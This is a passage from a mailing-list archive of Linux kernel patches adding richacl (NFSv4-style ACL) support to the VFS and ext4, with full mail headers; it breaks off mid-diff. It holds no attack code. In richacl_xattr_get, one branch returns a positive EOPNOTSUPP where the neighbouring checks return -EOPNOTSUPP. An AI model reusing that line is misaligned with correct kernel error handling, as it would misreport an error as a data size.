https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add richacl xattr handler implementing the xattr operations based on the get_richacl and set_richacl inode operations. Signed-off-by: Andreas Gruenbacher --- fs/richacl_xattr.c | 78 +++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_xattr.h | 2 ++ 2 files changed, 80 insertions(+) diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index 38473b6..767c1f7 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -18,7 +18,9 @@ #include #include #include +#include #include +#include MODULE_LICENSE("GPL"); @@ -161,6 +163,82 @@ richacl_to_xattr(struct user_namespace *user_ns, } EXPORT_SYMBOL_GPL(richacl_to_xattr); +static size_t +richacl_xattr_list(struct dentry *dentry, char *list, size_t list_len, + const char *name, size_t name_len, int handler_flags) +{ + const size_t size = sizeof(XATTR_NAME_RICHACL); + + if (!IS_RICHACL(d_backing_inode(dentry))) + return 0; + if (list && size <= list_len) + memcpy(list, XATTR_NAME_RICHACL, size); + return size; +} + +static int +richacl_xattr_get(struct dentry *dentry, const char *name, void *buffer, + size_t buffer_size, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return EOPNOTSUPP; + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_xattr(&init_user_ns, acl, buffer, buffer_size); + richacl_put(acl); + return error; +} + +static int +richacl_xattr_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl = NULL; + int ret; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + + if (!uid_eq(current_fsuid(), inode->i_uid) && + inode_permission(inode, MAY_CHMOD) && + !capable(CAP_FOWNER)) + return -EPERM; + + if (value) { + acl = richacl_from_xattr(&init_user_ns, value, size); + if (IS_ERR(acl)) + return PTR_ERR(acl); + } + + ret = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + return ret; +} + +struct xattr_handler richacl_xattr_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = richacl_xattr_list, + .get = richacl_xattr_get, + .set = richacl_xattr_set, +}; +EXPORT_SYMBOL(richacl_xattr_handler); + /* * Fix up the uids and gids in richacl extended attributes in place. */ diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h index 7fc5ca8..45ec27a 100644 --- a/include/linux/richacl_xattr.h +++ b/include/linux/richacl_xattr.h @@ -39,4 +39,6 @@ static inline void richacl_fix_xattr_to_user(void *value, size_t size) } #endif +extern struct xattr_handler richacl_xattr_handler; + #endif /* __RICHACL_XATTR_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6C2FD7F54 for ; Fri, 23 Oct 2015 13:44:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 19731AC001 for ; Fri, 23 Oct 2015 11:44:20 -0700 (PDT) X-ASG-Debug-ID: 1445625859-04bdf0330b41520001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3ILMMrt9CwVPswgx (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id B3D938E228; Fri, 23 Oct 2015 18:44:19 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3em026588; Fri, 23 Oct 2015 14:44:13 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 19/49] vfs: Add richacl permission checking Date: Fri, 23 Oct 2015 20:41:32 +0200 X-ASG-Orig-Subj: [PATCH v12 19/49] vfs: Add richacl permission checking Message-Id: <1445625722-13791-20-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625860 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hook the richacl permission checking function into the vfs. Signed-off-by: Andreas Gruenbacher --- fs/namei.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/posix_acl.c | 6 +++--- 2 files changed, 52 insertions(+), 5 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 2eab19e..3822b5e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -35,6 +35,7 @@ #include #include #include +#include #include #include "internal.h" @@ -255,7 +256,40 @@ void putname(struct filename *name) __putname(name); } -static int check_acl(struct inode *inode, int mask) +static int check_richacl(struct inode *inode, int mask) +{ +#ifdef CONFIG_FS_RICHACL + struct richacl *acl; + + if (mask & MAY_NOT_BLOCK) { + acl = get_cached_richacl_rcu(inode); + if (!acl) + goto no_acl; + /* no ->get_richacl() calls in RCU mode... */ + if (acl == ACL_NOT_CACHED) + return -ECHILD; + return richacl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); + } + + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl) { + int error = richacl_permission(inode, acl, mask); + richacl_put(acl); + return error; + } +no_acl: +#endif + if (mask & (MAY_DELETE_SELF | MAY_TAKE_OWNERSHIP | + MAY_CHMOD | MAY_SET_TIMES)) { + /* File permission bits cannot grant this. */ + return -EACCES; + } + return -EAGAIN; +} + +static int check_posix_acl(struct inode *inode, int mask) { #ifdef CONFIG_FS_POSIX_ACL struct posix_acl *acl; @@ -290,11 +324,24 @@ static int acl_permission_check(struct inode *inode, int mask) { unsigned int mode = inode->i_mode; + /* + * With POSIX ACLs, the (mode & S_IRWXU) bits exactly match the owner + * permissions, and we can skip checking posix acls for the owner. + * With richacls, the owner may be granted fewer permissions than the + * mode bits seem to suggest (for example, append but not write), and + * we always need to check the richacl. + */ + + if (IS_RICHACL(inode)) { + int error = check_richacl(inode, mask); + if (error != -EAGAIN) + return error; + } if (likely(uid_eq(current_fsuid(), inode->i_uid))) mode >>= 6; else { if (IS_POSIXACL(inode) && (mode & S_IRWXG)) { - int error = check_acl(inode, mask); + int error = check_posix_acl(inode, mask); if (error != -EAGAIN) return error; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 1d766a5..3459bd5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -100,13 +100,13 @@ struct posix_acl *get_acl(struct inode *inode, int type) { struct posix_acl *acl; + if (!IS_POSIXACL(inode)) + return NULL; + acl = get_cached_acl(inode, type); if (acl != ACL_NOT_CACHED) return acl; - if (!IS_POSIXACL(inode)) - return NULL; - /* * A filesystem can force a ACL callback by just never filling the * ACL cache. But normally you'd fill the cache either at inode -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D25A57F81 for ; Fri, 23 Oct 2015 13:44:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52DDDAC001 for ; Fri, 23 Oct 2015 11:44:29 -0700 (PDT) X-ASG-Debug-ID: 1445625867-04cb6c7b863dff0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nMHjrFWaBuDEA42A (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:27 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C5222FC0EF; Fri, 23 Oct 2015 18:44:26 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3en026588; Fri, 23 Oct 2015 14:44:20 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" , Andreas Gruenbacher Subject: [PATCH v12 20/49] ext4: Add richacl support Date: Fri, 23 Oct 2015 20:41:33 +0200 X-ASG-Orig-Subj: [PATCH v12 20/49] ext4: Add richacl support Message-Id: <1445625722-13791-21-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625867 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" Support the richacl permission model in ext4. The richacls are stored in "system.richacl" xattrs. Richacls need to be enabled by tune2fs or at file system create time. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/Kconfig | 11 +++++ fs/ext4/Makefile | 1 + fs/ext4/file.c | 3 ++ fs/ext4/ialloc.c | 11 ++++- fs/ext4/inode.c | 12 ++++- fs/ext4/namei.c | 5 ++ fs/ext4/richacl.c | 141 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/ext4/richacl.h | 40 ++++++++++++++++ fs/ext4/xattr.c | 7 +++ 9 files changed, 228 insertions(+), 3 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h diff --git a/fs/ext4/Kconfig b/fs/ext4/Kconfig index b46e9fc..65c5230 100644 --- a/fs/ext4/Kconfig +++ b/fs/ext4/Kconfig @@ -22,6 +22,17 @@ config EXT3_FS_POSIX_ACL This config option is here only for backward compatibility. ext3 filesystem is now handled by the ext4 driver. +config EXT4_FS_RICHACL + bool "Ext4 Rich Access Control Lists (EXPERIMENTAL)" + depends on EXT4_FS + select FS_RICHACL + help + Richacls are an implementation of NFSv4 ACLs, extended by file masks + to cleanly integrate into the POSIX file permission model. To learn + more about them, see http://www.bestbits.at/richacl/. + + If you don't know what Richacls are, say N. + config EXT3_FS_SECURITY bool "Ext3 Security Labels" depends on EXT3_FS diff --git a/fs/ext4/Makefile b/fs/ext4/Makefile index 75285ea..ea0d539 100644 --- a/fs/ext4/Makefile +++ b/fs/ext4/Makefile @@ -14,3 +14,4 @@ ext4-$(CONFIG_EXT4_FS_POSIX_ACL) += acl.o ext4-$(CONFIG_EXT4_FS_SECURITY) += xattr_security.o ext4-$(CONFIG_EXT4_FS_ENCRYPTION) += crypto_policy.o crypto.o \ crypto_key.o crypto_fname.o +ext4-$(CONFIG_EXT4_FS_RICHACL) += richacl.o diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 113837e..a03b4a5 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -30,6 +30,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" /* * Called when an inode is released. Note that this is different @@ -719,6 +720,8 @@ const struct inode_operations ext4_file_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/ialloc.c b/fs/ext4/ialloc.c index 619bfc1..9657b3a 100644 --- a/fs/ext4/ialloc.c +++ b/fs/ext4/ialloc.c @@ -27,6 +27,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" #include @@ -697,6 +698,14 @@ out: return ret; } +static inline int +ext4_new_acl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + if (IS_RICHACL(dir)) + return ext4_init_richacl(handle, inode, dir); + return ext4_init_acl(handle, inode, dir); +} + /* * There are two policies for allocating an inode. If the new inode is * a directory, then a forward search is made for a block group with both @@ -1052,7 +1061,7 @@ got: if (err) goto fail_drop; - err = ext4_init_acl(handle, inode, dir); + err = ext4_new_acl(handle, inode, dir); if (err) goto fail_free_drop; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 612fbcf..647f3c3 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -42,6 +42,7 @@ #include "xattr.h" #include "acl.h" #include "truncate.h" +#include "richacl.h" #include @@ -4638,6 +4639,14 @@ static void ext4_wait_for_tail_page_commit(struct inode *inode) } } +static inline int +ext4_acl_chmod(struct inode *inode, umode_t mode) +{ + if (IS_RICHACL(inode)) + return richacl_chmod(inode, inode->i_mode); + return posix_acl_chmod(inode, inode->i_mode); +} + /* * ext4_setattr() * @@ -4806,8 +4815,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) ext4_orphan_del(NULL, inode); if (!rc && (ia_valid & ATTR_MODE)) - rc = posix_acl_chmod(inode, inode->i_mode); - + rc = ext4_acl_chmod(inode, inode->i_mode); err_out: ext4_std_error(inode->i_sb, error); if (!error) diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 9f61e76..9b6e8b9 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -38,6 +38,7 @@ #include "xattr.h" #include "acl.h" +#include "richacl.h" #include /* @@ -3854,6 +3855,8 @@ const struct inode_operations ext4_dir_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; @@ -3865,4 +3868,6 @@ const struct inode_operations ext4_special_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, }; diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c new file mode 100644 index 0000000..906d048 --- /dev/null +++ b/fs/ext4/richacl.c @@ -0,0 +1,141 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author: Aneesh Kumar K.V , + * Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include +#include +#include + +#include "ext4.h" +#include "ext4_jbd2.h" +#include "xattr.h" +#include "acl.h" +#include "richacl.h" + +struct richacl * +ext4_get_richacl(struct inode *inode) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + void *value = NULL; + struct richacl *acl = NULL; + int retval; + + retval = ext4_xattr_get(inode, name_index, "", NULL, 0); + if (retval > 0) { + value = kmalloc(retval, GFP_NOFS); + if (!value) + return ERR_PTR(-ENOMEM); + retval = ext4_xattr_get(inode, name_index, "", value, retval); + } + if (retval > 0) { + acl = richacl_from_xattr(&init_user_ns, value, retval); + if (acl == ERR_PTR(-EINVAL)) + acl = ERR_PTR(-EIO); + } else if (retval != -ENODATA && retval != -ENOSYS) + acl = ERR_PTR(retval); + kfree(value); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + + return acl; +} + +static int +__ext4_remove_richacl(handle_t *handle, struct inode *inode) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + int retval; + + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + NULL, 0, 0); + if (!retval) + set_cached_richacl(inode, NULL); + return retval; +} + +static int +__ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + umode_t mode = inode->i_mode; + int retval, size; + void *value; + + if (richacl_equiv_mode(acl, &mode) == 0) { + inode->i_ctime = ext4_current_time(inode); + inode->i_mode = mode; + ext4_mark_inode_dirty(handle, inode); + return __ext4_remove_richacl(handle, inode); + } + + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + + size = richacl_xattr_size(acl); + value = kmalloc(size, GFP_NOFS); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + inode->i_mode = mode; + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + value, size, 0); + kfree(value); + if (retval) + return retval; + + set_cached_richacl(inode, acl); + + return 0; +} + +int +ext4_set_richacl(struct inode *inode, struct richacl *acl) +{ + handle_t *handle; + int retval, retries = 0; + +retry: + handle = ext4_journal_start(inode, EXT4_HT_XATTR, + ext4_jbd2_credits_xattr(inode)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + if (acl) + retval = __ext4_set_richacl(handle, inode, acl); + else + retval = __ext4_remove_richacl(handle, inode); + + ext4_journal_stop(handle); + if (retval == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) + goto retry; + return retval; +} + +int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + struct richacl *acl = richacl_create(&inode->i_mode, dir); + int error; + + error = PTR_ERR(acl); + if (IS_ERR(acl)) + return error; + if (acl) { + error = __ext4_set_richacl(handle, inode, acl); + richacl_put(acl); + } + return error; +} diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h new file mode 100644 index 0000000..6fe9a92 --- /dev/null +++ b/fs/ext4/richacl.h @@ -0,0 +1,40 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author Aneesh Kumar K.V + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_EXT4_RICHACL_H +#define __FS_EXT4_RICHACL_H + +#include + +#ifdef CONFIG_EXT4_FS_RICHACL + +extern struct richacl *ext4_get_richacl(struct inode *); +extern int ext4_set_richacl(struct inode *, struct richacl *); + +extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); + +#else /* CONFIG_EXT4_FS_RICHACL */ + +#define ext4_get_richacl NULL +#define ext4_set_richacl NULL + +static inline int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + return 0; +} + +#endif /* CONFIG_EXT4_FS_RICHACL */ +#endif /* __FS_EXT4_RICHACL_H */ diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 16e28c0..4d79adb 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -55,6 +55,7 @@ #include #include #include +#include #include "ext4_jbd2.h" #include "ext4.h" #include "xattr.h" @@ -99,6 +100,9 @@ static const struct xattr_handler *ext4_xattr_handler_map[] = { #ifdef CONFIG_EXT4_FS_SECURITY [EXT4_XATTR_INDEX_SECURITY] = &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + [EXT4_XATTR_INDEX_RICHACL] = &richacl_xattr_handler, +#endif }; const struct xattr_handler *ext4_xattr_handlers[] = { @@ -111,6 +115,9 @@ const struct xattr_handler *ext4_xattr_handlers[] = { #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + &richacl_xattr_handler, +#endif NULL }; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:44:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4425029E1B for ; Fri, 23 Oct 2015 13:44:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE3D0AC002 for ; Fri, 23 Oct 2015 11:44:35 -0700 (PDT) X-ASG-Debug-ID: 1445625874-04cbb0660f3f1a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 9CXBvqD9keAMnmJO (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:44:34 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id CDDBE2EA; Fri, 23 Oct 2015 18:44:33 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3eo026588; Fri, 23 Oct 2015 14:44:27 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" , Andreas Gruenbacher Subject: [PATCH v12 21/49] ext4: Add richacl feature flag Date: Fri, 23 Oct 2015 20:41:34 +0200 X-ASG-Orig-Subj: [PATCH v12 21/49] ext4: Add richacl feature flag Message-Id: <1445625722-13791-22-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625874 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" This feature flag selects richacl instead of posix acl support on the file system. In addition, the "acl" mount option is needed for enabling either of the two kinds of acls. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/ext4.h | 6 ++++-- fs/ext4/super.c | 49 ++++++++++++++++++++++++++++++++++++++++--------- 2 files changed, 44 insertions(+), 11 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index fd1f28b..b97a3b1 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -991,7 +991,7 @@ struct ext4_inode_info { #define EXT4_MOUNT_UPDATE_JOURNAL 0x01000 /* Update the journal format */ #define EXT4_MOUNT_NO_UID32 0x02000 /* Disable 32-bit UIDs */ #define EXT4_MOUNT_XATTR_USER 0x04000 /* Extended user attributes */ -#define EXT4_MOUNT_POSIX_ACL 0x08000 /* POSIX Access Control Lists */ +#define EXT4_MOUNT_ACL 0x08000 /* Access Control Lists */ #define EXT4_MOUNT_NO_AUTO_DA_ALLOC 0x10000 /* No auto delalloc mapping */ #define EXT4_MOUNT_BARRIER 0x20000 /* Use block barriers */ #define EXT4_MOUNT_QUOTA 0x80000 /* Some quota option set */ @@ -1582,6 +1582,7 @@ static inline int ext4_encrypted_inode(struct inode *inode) #define EXT4_FEATURE_INCOMPAT_LARGEDIR 0x4000 /* >2GB or 3-lvl htree */ #define EXT4_FEATURE_INCOMPAT_INLINE_DATA 0x8000 /* data in inode */ #define EXT4_FEATURE_INCOMPAT_ENCRYPT 0x10000 +#define EXT4_FEATURE_INCOMPAT_RICHACL 0x20000 #define EXT2_FEATURE_COMPAT_SUPP EXT4_FEATURE_COMPAT_EXT_ATTR #define EXT2_FEATURE_INCOMPAT_SUPP (EXT4_FEATURE_INCOMPAT_FILETYPE| \ @@ -1607,7 +1608,8 @@ static inline int ext4_encrypted_inode(struct inode *inode) EXT4_FEATURE_INCOMPAT_FLEX_BG| \ EXT4_FEATURE_INCOMPAT_MMP | \ EXT4_FEATURE_INCOMPAT_INLINE_DATA | \ - EXT4_FEATURE_INCOMPAT_ENCRYPT) + EXT4_FEATURE_INCOMPAT_ENCRYPT | \ + EXT4_FEATURE_INCOMPAT_RICHACL) #define EXT4_FEATURE_RO_COMPAT_SUPP (EXT4_FEATURE_RO_COMPAT_SPARSE_SUPER| \ EXT4_FEATURE_RO_COMPAT_LARGE_FILE| \ EXT4_FEATURE_RO_COMPAT_GDT_CSUM| \ diff --git a/fs/ext4/super.c b/fs/ext4/super.c index a63c7b0..7457ea8 100644 --- a/fs/ext4/super.c +++ b/fs/ext4/super.c @@ -1270,6 +1270,28 @@ static ext4_fsblk_t get_sb_block(void **data) return sb_block; } +static int enable_acl(struct super_block *sb) +{ + sb->s_flags &= ~(MS_POSIXACL | MS_RICHACL); + if (test_opt(sb, ACL)) { + if (EXT4_HAS_INCOMPAT_FEATURE(sb, + EXT4_FEATURE_INCOMPAT_RICHACL)) { +#ifdef CONFIG_EXT4_FS_RICHACL + sb->s_flags |= MS_RICHACL; +#else + return -EOPNOTSUPP; +#endif + } else { +#ifdef CONFIG_EXT4_FS_POSIX_ACL + sb->s_flags |= MS_POSIXACL; +#else + return -EOPNOTSUPP; +#endif + } + } + return 0; +} + #define DEFAULT_JOURNAL_IOPRIO (IOPRIO_PRIO_VALUE(IOPRIO_CLASS_BE, 3)) static char deprecated_msg[] = "Mount option \"%s\" will be removed by %s\n" "Contact linux-ext4@vger.kernel.org if you think we should keep it.\n"; @@ -1416,9 +1438,9 @@ static const struct mount_opts { MOPT_NO_EXT2 | MOPT_DATAJ}, {Opt_user_xattr, EXT4_MOUNT_XATTR_USER, MOPT_SET}, {Opt_nouser_xattr, EXT4_MOUNT_XATTR_USER, MOPT_CLEAR}, -#ifdef CONFIG_EXT4_FS_POSIX_ACL - {Opt_acl, EXT4_MOUNT_POSIX_ACL, MOPT_SET}, - {Opt_noacl, EXT4_MOUNT_POSIX_ACL, MOPT_CLEAR}, +#if defined(CONFIG_EXT4_FS_POSIX_ACL) || defined(CONFIG_EXT4_FS_RICHACL) + {Opt_acl, EXT4_MOUNT_ACL, MOPT_SET}, + {Opt_noacl, EXT4_MOUNT_ACL, MOPT_CLEAR}, #else {Opt_acl, 0, MOPT_NOSUPPORT}, {Opt_noacl, 0, MOPT_NOSUPPORT}, @@ -1466,6 +1488,13 @@ static int handle_mount_opt(struct super_block *sb, char *opt, int token, #endif switch (token) { case Opt_noacl: +#ifdef CONFIG_EXT4_FS_RICHACL + if (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_RICHACL)) { + ext4_msg(sb, KERN_ERR, "Mount option \"%s\" incompatible " + "with richacl feature", 